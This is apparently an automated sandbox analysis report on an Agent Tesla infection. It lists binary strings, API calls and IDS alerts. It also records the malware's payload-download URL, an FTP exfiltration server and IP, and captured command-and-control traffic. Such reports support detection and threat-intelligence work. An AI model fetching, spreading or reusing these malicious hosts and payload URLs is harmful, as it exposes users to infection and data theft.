Source:	Binary string: _.pdb source: xrbjyllC.pif, 00000009.00000002.1886701833.000000002AC91000.00000004.00000800.00020000.00000000.sdmp, xrbjyllC.pif, 00000009.00000002.1887098734.000000002C240000.00000004.08000000.00040000.00000000.sdmp, xrbjyllC.pif, 00000009.00000002.1885443724.00000000299AF000.00000004.00000020.00020000.00000000.sdmp, xrbjyllC.pif, 00000009.00000003.1723831872.000000002802C000.00000004.00000020.00020000.00000000.sdmp, xrbjyllC.pif, 0000000B.00000002.2036790084.0000000026ABF000.00000004.00000020.00020000.00000000.sdmp, xrbjyllC.pif, 0000000B.00000002.2037435612.0000000026EC0000.00000004.08000000.00040000.00000000.sdmp, xrbjyllC.pif, 0000000B.00000003.1829118494.0000000024F7D000.00000004.00000020.00020000.00000000.sdmp, xrbjyllC.pif, 0000000B.00000002.2039086668.0000000027F51000.00000004.00000800.00020000.00000000.sdmp, xrbjyllC.pif, 00000011.00000003.1999135906.0000000020784000.00000004.00000020.00020000.00000000.sdmp, xrbjyllC.pif, 00000011.00000002.2933556795.0000000022680000.00000004.08000000.00040000.00000000.sdmp, xrbjyllC.pif, 00000011.00000002.2933003341.00000000220EF000.00000004.00000020.00020000.00000000.sdmp, xrbjyllC.pif, 00000011.00000002.2936380782.0000000023711000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: cmd.pdbUGP source: esentutl.exe, 00000006.00000003.1716976132.0000000004E40000.00000004.00001000.00020000.00000000.sdmp, alpha.pif.6.dr
Source:	Binary string: easinvoker.pdbH source: x.exe, 00000003.00000002.1755317512.000000007F220000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000003.00000003.1695656562.000000007EF50000.00000004.00001000.00020000.00000000.sdmp, xrbjyllC.pif, 00000009.00000001.1719718721.0000000000820000.00000040.00000001.00020000.00000000.sdmp, xrbjyllC.pif, 0000000B.00000001.1826572703.00000000007D0000.00000040.00000001.00020000.00000000.sdmp, xrbjyllC.pif, 00000011.00000001.1996288631.00000000007D0000.00000040.00000001.00020000.00000000.sdmp
Source:	Binary string: easinvoker.pdbGCTL source: x.exe, 00000003.00000002.1750879233.0000000020F1D000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000003.00000002.1723790812.0000000003004000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000003.00000003.1668677681.000000007FB90000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000003.00000003.1668442812.0000000003000000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000003.00000002.1725659576.00000000031EE000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000003.00000003.1716716045.0000000021720000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000003.00000003.1716716045.0000000021751000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000003.00000002.1750879233.0000000020EED000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000003.00000003.1667912373.000000007FE00000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: cmd.pdb source: esentutl.exe, 00000006.00000003.1716976132.0000000004E40000.00000004.00001000.00020000.00000000.sdmp, alpha.pif.6.dr

Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_031C5908 GetModuleHandleA,GetProcAddress,lstrcpynA,lstrcpynA,lstrcpynA,FindFirstFileA,FindClose,lstrlenA,lstrcpynA,lstrlenA,lstrcpynA,	3_2_031C5908
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Code function: 13_2_0040128D RegOpenKeyA,RegQueryValueA,RegCloseKey,RegCloseKey,FindFirstFileA,FindClose,GetLocalTime,	13_2_0040128D
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Code function: 13_2_00401612 RegOpenKeyA,RegQueryValueA,RegCloseKey,RegCloseKey,GetLocalTime,CreateDirectoryA,FindFirstFileA,MoveFileA,FindNextFileA,FindClose,	13_2_00401612

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2029927 - Severity 1 - ET MALWARE AgentTesla Exfil via FTP : 192.168.2.4:49744 -> 110.4.45.197:21
Source: Network traffic	Suricata IDS: 2855542 - Severity 1 - ETPRO MALWARE Agent Tesla CnC Exfil Activity : 192.168.2.4:49747 -> 110.4.45.197:54601
Source: Network traffic	Suricata IDS: 2029927 - Severity 1 - ET MALWARE AgentTesla Exfil via FTP : 192.168.2.4:49753 -> 110.4.45.197:21
Source: Network traffic	Suricata IDS: 2855542 - Severity 1 - ETPRO MALWARE Agent Tesla CnC Exfil Activity : 192.168.2.4:49754 -> 110.4.45.197:63940

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: https://himalayastrek.com/origins/233_Cllyjbrxmng

Connects to many ports of the same IP (likely port scanning)

Source: global traffic

TCP traffic: 110.4.45.197 ports 50707,62466,63940,62962,56275,55553,1,2,53369,54601,61195,21

Source: C:\Users\user\AppData\Local\Temp\x.exe

Code function: 3_2_031DE4B8 InternetCheckConnectionA,

3_2_031DE4B8

Source: global traffic

TCP traffic: 192.168.2.4:49735 -> 110.4.45.197:50707

Source: Joe Sandbox View	IP Address: 110.4.45.197 110.4.45.197
Source: Joe Sandbox View	IP Address: 172.67.74.152 172.67.74.152
Source: Joe Sandbox View	IP Address: 172.67.74.152 172.67.74.152

Source: Joe Sandbox View	ASN Name: UNIFIEDLAYER-AS-1US UNIFIEDLAYER-AS-1US
Source: Joe Sandbox View	ASN Name: EXABYTES-AS-APExaBytesNetworkSdnBhdMY EXABYTES-AS-APExaBytesNetworkSdnBhdMY
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org

Source: unknown

FTP traffic detected: 110.4.45.197:21 -> 192.168.2.4:49734 220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 10 of 50 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 10 of 50 allowed.220-Local time is now 15:35. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 10 of 50 allowed.220-Local time is now 15:35. Server port: 21.220-This is a private system - No anonymous login 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 10 of 50 allowed.220-Local time is now 15:35. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 10 of 50 allowed.220-Local time is now 15:35. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server.220 You will be disconnected after 15 minutes of inactivity.

Source: global traffic	HTTP traffic detected: GET /origins/233_Cllyjbrxmng HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: himalayastrek.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /origins/233_Cllyjbrxmng HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: himalayastrek.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /origins/233_Cllyjbrxmng HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: himalayastrek.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /origins/233_Cllyjbrxmng HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: himalayastrek.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /origins/233_Cllyjbrxmng HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: himalayastrek.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /origins/233_Cllyjbrxmng HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: himalayastrek.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: himalayastrek.com
Source: global traffic	DNS traffic detected: DNS query: api.ipify.org
Source: global traffic	DNS traffic detected: DNS query: ftp.haliza.com.my

Source: x.exe, 00000003.00000002.1755317512.000000007F220000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000003.00000003.1695656562.000000007EF50000.00000004.00001000.00020000.00000000.sdmp, xrbjyllC.pif, 00000009.00000001.1719718721.0000000000820000.00000040.00000001.00020000.00000000.sdmp, xrbjyllC.pif, 0000000B.00000001.1826572703.00000000007D0000.00000040.00000001.00020000.00000000.sdmp, xrbjyllC.pif, 00000011.00000001.1996288631.00000000007D0000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: x.exe, 00000003.00000002.1755317512.000000007F220000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000003.00000003.1695656562.000000007EF50000.00000004.00001000.00020000.00000000.sdmp, xrbjyllC.pif, 00000009.00000001.1719718721.0000000000820000.00000040.00000001.00020000.00000000.sdmp, xrbjyllC.pif, 0000000B.00000001.1826572703.00000000007D0000.00000040.00000001.00020000.00000000.sdmp, xrbjyllC.pif, 00000011.00000001.1996288631.00000000007D0000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: x.exe, 00000003.00000002.1755317512.000000007F220000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000003.00000003.1695656562.000000007EF50000.00000004.00001000.00020000.00000000.sdmp, xrbjyllC.pif, 00000009.00000001.1719718721.0000000000820000.00000040.00000001.00020000.00000000.sdmp, xrbjyllC.pif, 0000000B.00000001.1826572703.00000000007D0000.00000040.00000001.00020000.00000000.sdmp, xrbjyllC.pif, 00000011.00000001.1996288631.00000000007D0000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: x.exe, 00000003.00000002.1755317512.000000007F220000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000003.00000003.1695656562.000000007EF50000.00000004.00001000.00020000.00000000.sdmp, xrbjyllC.pif, 00000009.00000001.1719718721.0000000000820000.00000040.00000001.00020000.00000000.sdmp, xrbjyllC.pif, 0000000B.00000001.1826572703.00000000007D0000.00000040.00000001.00020000.00000000.sdmp, xrbjyllC.pif, 00000011.00000001.1996288631.00000000007D0000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: x.exe, 00000003.00000002.1755317512.000000007F220000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000003.00000003.1695656562.000000007EF50000.00000004.00001000.00020000.00000000.sdmp, xrbjyllC.pif, 00000009.00000001.1719718721.0000000000820000.00000040.00000001.00020000.00000000.sdmp, xrbjyllC.pif, 0000000B.00000001.1826572703.00000000007D0000.00000040.00000001.00020000.00000000.sdmp, xrbjyllC.pif, 00000011.00000001.1996288631.00000000007D0000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAEVR36.crl0
Source: x.exe, 00000003.00000002.1755317512.000000007F220000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000003.00000003.1695656562.000000007EF50000.00000004.00001000.00020000.00000000.sdmp, xrbjyllC.pif, 00000009.00000001.1719718721.0000000000820000.00000040.00000001.00020000.00000000.sdmp, xrbjyllC.pif, 0000000B.00000001.1826572703.00000000007D0000.00000040.00000001.00020000.00000000.sdmp, xrbjyllC.pif, 00000011.00000001.1996288631.00000000007D0000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: x.exe, 00000003.00000002.1755317512.000000007F220000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000003.00000003.1695656562.000000007EF50000.00000004.00001000.00020000.00000000.sdmp, xrbjyllC.pif, 00000009.00000001.1719718721.0000000000820000.00000040.00000001.00020000.00000000.sdmp, xrbjyllC.pif, 0000000B.00000001.1826572703.00000000007D0000.00000040.00000001.00020000.00000000.sdmp, xrbjyllC.pif, 00000011.00000001.1996288631.00000000007D0000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: x.exe, 00000003.00000002.1755317512.000000007F220000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000003.00000003.1695656562.000000007EF50000.00000004.00001000.00020000.00000000.sdmp, xrbjyllC.pif, 00000009.00000001.1719718721.0000000000820000.00000040.00000001.00020000.00000000.sdmp, xrbjyllC.pif, 0000000B.00000001.1826572703.00000000007D0000.00000040.00000001.00020000.00000000.sdmp, xrbjyllC.pif, 00000011.00000001.1996288631.00000000007D0000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: x.exe, 00000003.00000002.1755317512.000000007F220000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000003.00000003.1695656562.000000007EF50000.00000004.00001000.00020000.00000000.sdmp, xrbjyllC.pif, 00000009.00000001.1719718721.0000000000820000.00000040.00000001.00020000.00000000.sdmp, xrbjyllC.pif, 0000000B.00000001.1826572703.00000000007D0000.00000040.00000001.00020000.00000000.sdmp, xrbjyllC.pif, 00000011.00000001.1996288631.00000000007D0000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: x.exe, 00000003.00000002.1755317512.000000007F220000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000003.00000003.1695656562.000000007EF50000.00000004.00001000.00020000.00000000.sdmp, xrbjyllC.pif, 00000009.00000001.1719718721.0000000000820000.00000040.00000001.00020000.00000000.sdmp, xrbjyllC.pif, 0000000B.00000001.1826572703.00000000007D0000.00000040.00000001.00020000.00000000.sdmp, xrbjyllC.pif, 00000011.00000001.1996288631.00000000007D0000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAEVR36.crt0#
Source: x.exe, 00000003.00000002.1755317512.000000007F220000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000003.00000003.1695656562.000000007EF50000.00000004.00001000.00020000.00000000.sdmp, xrbjyllC.pif, 00000009.00000001.1719718721.0000000000820000.00000040.00000001.00020000.00000000.sdmp, xrbjyllC.pif, 0000000B.00000001.1826572703.00000000007D0000.00000040.00000001.00020000.00000000.sdmp, xrbjyllC.pif, 00000011.00000001.1996288631.00000000007D0000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: xrbjyllC.pif, 00000009.00000002.1885700149.0000000029D6E000.00000004.00000800.00020000.00000000.sdmp, xrbjyllC.pif, 0000000B.00000002.2037584251.0000000026FED000.00000004.00000800.00020000.00000000.sdmp, xrbjyllC.pif, 00000011.00000002.2933710309.00000000227AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ftp.haliza.com.my
Source: x.exe, 00000003.00000002.1755317512.000000007F220000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000003.00000003.1695656562.000000007EF50000.00000004.00001000.00020000.00000000.sdmp, xrbjyllC.pif, 00000009.00000001.1719718721.0000000000820000.00000040.00000001.00020000.00000000.sdmp, xrbjyllC.pif, 0000000B.00000001.1826572703.00000000007D0000.00000040.00000001.00020000.00000000.sdmp, xrbjyllC.pif, 00000011.00000001.1996288631.00000000007D0000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: x.exe, 00000003.00000002.1755317512.000000007F220000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000003.00000003.1695656562.000000007EF50000.00000004.00001000.00020000.00000000.sdmp, xrbjyllC.pif, 00000009.00000001.1719718721.0000000000820000.00000040.00000001.00020000.00000000.sdmp, xrbjyllC.pif, 0000000B.00000001.1826572703.00000000007D0000.00000040.00000001.00020000.00000000.sdmp, xrbjyllC.pif, 00000011.00000001.1996288631.00000000007D0000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: x.exe, 00000003.00000002.1755317512.000000007F220000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000003.00000003.1695656562.000000007EF50000.00000004.00001000.00020000.00000000.sdmp, xrbjyllC.pif, 00000009.00000001.1719718721.0000000000820000.00000040.00000001.00020000.00000000.sdmp, xrbjyllC.pif, 0000000B.00000001.1826572703.00000000007D0000.00000040.00000001.00020000.00000000.sdmp, xrbjyllC.pif, 00000011.00000001.1996288631.00000000007D0000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: x.exe, 00000003.00000002.1755317512.000000007F220000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000003.00000003.1695656562.000000007EF50000.00000004.00001000.00020000.00000000.sdmp, xrbjyllC.pif, 00000009.00000001.1719718721.0000000000820000.00000040.00000001.00020000.00000000.sdmp, xrbjyllC.pif, 0000000B.00000001.1826572703.00000000007D0000.00000040.00000001.00020000.00000000.sdmp, xrbjyllC.pif, 00000011.00000001.1996288631.00000000007D0000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0X
Source: x.exe, 00000003.00000002.1755317512.000000007F220000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000003.00000003.1695656562.000000007EF50000.00000004.00001000.00020000.00000000.sdmp, xrbjyllC.pif, 00000009.00000001.1719718721.0000000000820000.00000040.00000001.00020000.00000000.sdmp, xrbjyllC.pif, 0000000B.00000001.1826572703.00000000007D0000.00000040.00000001.00020000.00000000.sdmp, xrbjyllC.pif, 00000011.00000001.1996288631.00000000007D0000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0
Source: x.exe, 00000003.00000002.1755317512.000000007F220000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000003.00000003.1695656562.000000007EF50000.00000004.00001000.00020000.00000000.sdmp, xrbjyllC.pif, 00000009.00000001.1719718721.0000000000820000.00000040.00000001.00020000.00000000.sdmp, xrbjyllC.pif, 0000000B.00000001.1826572703.00000000007D0000.00000040.00000001.00020000.00000000.sdmp, xrbjyllC.pif, 00000011.00000001.1996288631.00000000007D0000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0C
Source: xrbjyllC.pif, 00000009.00000002.1885700149.0000000029C91000.00000004.00000800.00020000.00000000.sdmp, xrbjyllC.pif, 0000000B.00000002.2037584251.0000000026F51000.00000004.00000800.00020000.00000000.sdmp, xrbjyllC.pif, 00000011.00000002.2933710309.0000000022711000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: x.exe, x.exe, 00000003.00000002.1753574596.0000000021905000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000003.00000002.1750879233.0000000020F1D000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000003.00000002.1759764048.000000007FE2F000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000003.00000002.1752975519.0000000021700000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000003.00000002.1725659576.00000000031EE000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000003.00000003.1668677681.000000007FBDF000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000003.00000003.1668442812.0000000003028000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000003.00000002.1721962152.00000000008AC000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000003.00000002.1723790812.000000000302C000.00000004.00000020.00020000.00000000.sdmp, xrbjyllC.pif, 00000009.00000000.1719344100.0000000000416000.00000002.00000001.01000000.00000007.sdmp, xrbjyllC.pif, 0000000B.00000000.1826114660.0000000000416000.00000002.00000001.01000000.00000007.sdmp, sgxIb.exe, sgxIb.exe, 0000000D.00000002.1890633912.0000000000416000.00000002.00000001.01000000.0000000C.sdmp, sgxIb.exe, 0000000D.00000000.1888350846.0000000000416000.00000002.00000001.01000000.0000000C.sdmp, xrbjyllC.pif, 00000011.00000002.2937816421.0000000025B6E000.00000004.00000020.00020000.00000000.sdmp, xrbjyllC.pif, 00000011.00000000.1995988945.0000000000416000.00000002.00000001.01000000.00000007.sdmp, sgxIb.exe, 00000012.00000002.2055006675.0000000000416000.00000002.00000001.01000000.0000000C.sdmp, sgxIb.exe, 00000012.00000000.2054308600.0000000000416000.00000002.00000001.01000000.0000000C.sdmp, sgxIb.exe.9.dr, xrbjyllC.pif.3.dr	String found in binary or memory: http://www.pmail.com
Source: xrbjyllC.pif, 00000009.00000002.1886701833.000000002AC91000.00000004.00000800.00020000.00000000.sdmp, xrbjyllC.pif, 00000009.00000002.1887098734.000000002C240000.00000004.08000000.00040000.00000000.sdmp, xrbjyllC.pif, 00000009.00000002.1885443724.00000000299AF000.00000004.00000020.00020000.00000000.sdmp, xrbjyllC.pif, 00000009.00000003.1723831872.000000002802C000.00000004.00000020.00020000.00000000.sdmp, xrbjyllC.pif, 00000009.00000002.1887771568.000000002C980000.00000004.08000000.00040000.00000000.sdmp, xrbjyllC.pif, 0000000B.00000002.2036790084.0000000026ABF000.00000004.00000020.00020000.00000000.sdmp, xrbjyllC.pif, 0000000B.00000002.2039752905.0000000029A80000.00000004.08000000.00040000.00000000.sdmp, xrbjyllC.pif, 0000000B.00000002.2037435612.0000000026EC0000.00000004.08000000.00040000.00000000.sdmp, xrbjyllC.pif, 0000000B.00000003.1829118494.0000000024F7D000.00000004.00000020.00020000.00000000.sdmp, xrbjyllC.pif, 0000000B.00000002.2039086668.0000000027F51000.00000004.00000800.00020000.00000000.sdmp, xrbjyllC.pif, 00000011.00000003.1999135906.0000000020784000.00000004.00000020.00020000.00000000.sdmp, xrbjyllC.pif, 00000011.00000002.2933556795.0000000022680000.00000004.08000000.00040000.00000000.sdmp, xrbjyllC.pif, 00000011.00000002.2937049354.0000000025040000.00000004.08000000.00040000.00000000.sdmp, xrbjyllC.pif, 00000011.00000002.2933003341.00000000220EF000.00000004.00000020.00020000.00000000.sdmp, xrbjyllC.pif, 00000011.00000002.2936380782.0000000023711000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.dyn.com/
Source: xrbjyllC.pif, 00000009.00000002.1886701833.000000002AC91000.00000004.00000800.00020000.00000000.sdmp, xrbjyllC.pif, 00000009.00000002.1887098734.000000002C240000.00000004.08000000.00040000.00000000.sdmp, xrbjyllC.pif, 00000009.00000002.1885700149.0000000029C91000.00000004.00000800.00020000.00000000.sdmp, xrbjyllC.pif, 00000009.00000002.1885443724.00000000299AF000.00000004.00000020.00020000.00000000.sdmp, xrbjyllC.pif, 00000009.00000003.1723831872.000000002802C000.00000004.00000020.00020000.00000000.sdmp, xrbjyllC.pif, 00000009.00000002.1887771568.000000002C980000.00000004.08000000.00040000.00000000.sdmp, xrbjyllC.pif, 0000000B.00000002.2036790084.0000000026ABF000.00000004.00000020.00020000.00000000.sdmp, xrbjyllC.pif, 0000000B.00000002.2039752905.0000000029A80000.00000004.08000000.00040000.00000000.sdmp, xrbjyllC.pif, 0000000B.00000002.2037435612.0000000026EC0000.00000004.08000000.00040000.00000000.sdmp, xrbjyllC.pif, 0000000B.00000003.1829118494.0000000024F7D000.00000004.00000020.00020000.00000000.sdmp, xrbjyllC.pif, 0000000B.00000002.2037584251.0000000026F51000.00000004.00000800.00020000.00000000.sdmp, xrbjyllC.pif, 0000000B.00000002.2039086668.0000000027F51000.00000004.00000800.00020000.00000000.sdmp, xrbjyllC.pif, 00000011.00000003.1999135906.0000000020784000.00000004.00000020.00020000.00000000.sdmp, xrbjyllC.pif, 00000011.00000002.2933556795.0000000022680000.00000004.08000000.00040000.00000000.sdmp, xrbjyllC.pif, 00000011.00000002.2937049354.0000000025040000.00000004.08000000.00040000.00000000.sdmp, xrbjyllC.pif, 00000011.00000002.2933003341.00000000220EF000.00000004.00000020.00020000.00000000.sdmp, xrbjyllC.pif, 00000011.00000002.2936380782.0000000023711000.00000004.00000800.00020000.00000000.sdmp, xrbjyllC.pif, 00000011.00000002.2933710309.0000000022711000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org
Source: xrbjyllC.pif, 00000009.00000002.1885700149.0000000029C91000.00000004.00000800.00020000.00000000.sdmp, xrbjyllC.pif, 0000000B.00000002.2037584251.0000000026F51000.00000004.00000800.00020000.00000000.sdmp, xrbjyllC.pif, 00000011.00000002.2933710309.0000000022711000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/
Source: xrbjyllC.pif, 00000009.00000002.1885700149.0000000029C91000.00000004.00000800.00020000.00000000.sdmp, xrbjyllC.pif, 0000000B.00000002.2037584251.0000000026F51000.00000004.00000800.00020000.00000000.sdmp, xrbjyllC.pif, 00000011.00000002.2933710309.0000000022711000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/t
Source: Cllyjbrx.PIF, 0000000A.00000002.1827777323.000000000061C000.00000004.00000020.00020000.00000000.sdmp, Cllyjbrx.PIF, 00000010.00000002.1997779443.0000000000848000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://himalayastrek.com/
Source: x.exe, 00000003.00000002.1721962152.000000000085E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://himalayastrek.com/-
Source: Cllyjbrx.PIF, 00000010.00000002.2030287886.0000000020F7D000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://himalayastrek.com/origins/233_Cllyjbrxmng
Source: Cllyjbrx.PIF, 0000000A.00000002.1827777323.000000000061C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://himalayastrek.com/origins/233_CllyjbrxmngHA
Source: Cllyjbrx.PIF, 0000000A.00000002.1827777323.000000000061C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://himalayastrek.com/origins/233_CllyjbrxmngZ
Source: Cllyjbrx.PIF, 0000000A.00000002.1827777323.000000000064E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://himalayastrek.com/origins/233_Cllyjbrxmngy
Source: Cllyjbrx.PIF, 0000000A.00000002.1827777323.0000000000669000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://himalayastrek.com:443/origins/233_Cllyjbrxmng
Source: x.exe, 00000003.00000002.1721962152.000000000089F000.00000004.00000020.00020000.00000000.sdmp, Cllyjbrx.PIF, 00000010.00000002.1997779443.00000000008BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://himalayastrek.com:443/origins/233_CllyjbrxmngP
Source: x.exe, 00000003.00000002.1755317512.000000007F220000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000003.00000003.1695656562.000000007EF50000.00000004.00001000.00020000.00000000.sdmp, xrbjyllC.pif, 00000009.00000001.1719718721.0000000000820000.00000040.00000001.00020000.00000000.sdmp, xrbjyllC.pif, 0000000B.00000001.1826572703.00000000007D0000.00000040.00000001.00020000.00000000.sdmp, xrbjyllC.pif, 00000011.00000001.1996288631.00000000007D0000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
